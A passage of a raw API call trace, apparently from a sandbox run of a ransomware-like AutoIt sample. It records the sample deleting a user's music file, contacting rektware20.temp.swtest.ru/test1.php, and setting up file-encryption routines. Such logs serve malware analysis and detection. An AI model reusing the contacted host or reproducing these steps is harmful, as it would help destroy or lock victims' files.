lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.101] CloseHandle (hObject=0x2ac) returned 1 [0064.103] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.103] CloseHandle (hObject=0x3bc) returned 1 [0064.104] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.104] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.104] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", lpFilePart=0x0) returned 0x3e [0064.104] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq\\7cihi-.m4a")) returned 0x20 [0064.105] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c330 [0064.105] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\7CihI-.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq\\7cihi-.m4a")) returned 1 [0064.107] FindNextFileW (in: hFindFile=0x164c330, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0064.107] FindClose (in: hFindFile=0x164c330 | out: hFindFile=0x164c330) returned 1 [0064.107] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.107] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.107] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.107] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.107] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0064.107] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0064.107] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.108] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0064.108] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.108] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0064.108] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0064.108] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e50, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e50, lpdwBufferLength=0x130ef8c) returned 1 [0064.108] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.108] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.108] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.109] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0064.109] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0064.109] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0064.109] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0064.109] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0064.109] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.109] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.109] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.109] CloseHandle (hObject=0x0) returned 0 [0064.109] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.109] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.109] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.109] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.109] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.109] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ge9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ks2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RbCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bCicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.110] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CicUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="icUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cUjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UjcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jcOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cOq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Oq\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RJ1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="urn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rn.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0064.111] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.111] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.111] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0064.111] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.111] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0064.111] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0064.111] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.111] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0064.111] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0064.111] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c) returned 1 [0064.111] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.111] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.112] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.112] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0064.112] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0064.112] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0064.112] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0064.112] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629400, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629400*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0064.112] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.113] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.113] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.113] CloseHandle (hObject=0x0) returned 0 [0064.113] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.113] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\RJ1urn.wav", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0064.113] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0064.113] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.113] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.113] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.113] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.113] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.113] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.113] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0064.114] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.114] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.114] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0064.114] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.114] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.114] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.114] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.114] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.114] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0064.114] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0064.114] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0064.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0064.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e050, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0064.115] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0064.115] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17ab550) returned 1 [0064.116] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.116] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.116] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0064.116] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.116] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.116] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.116] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.116] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.116] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: 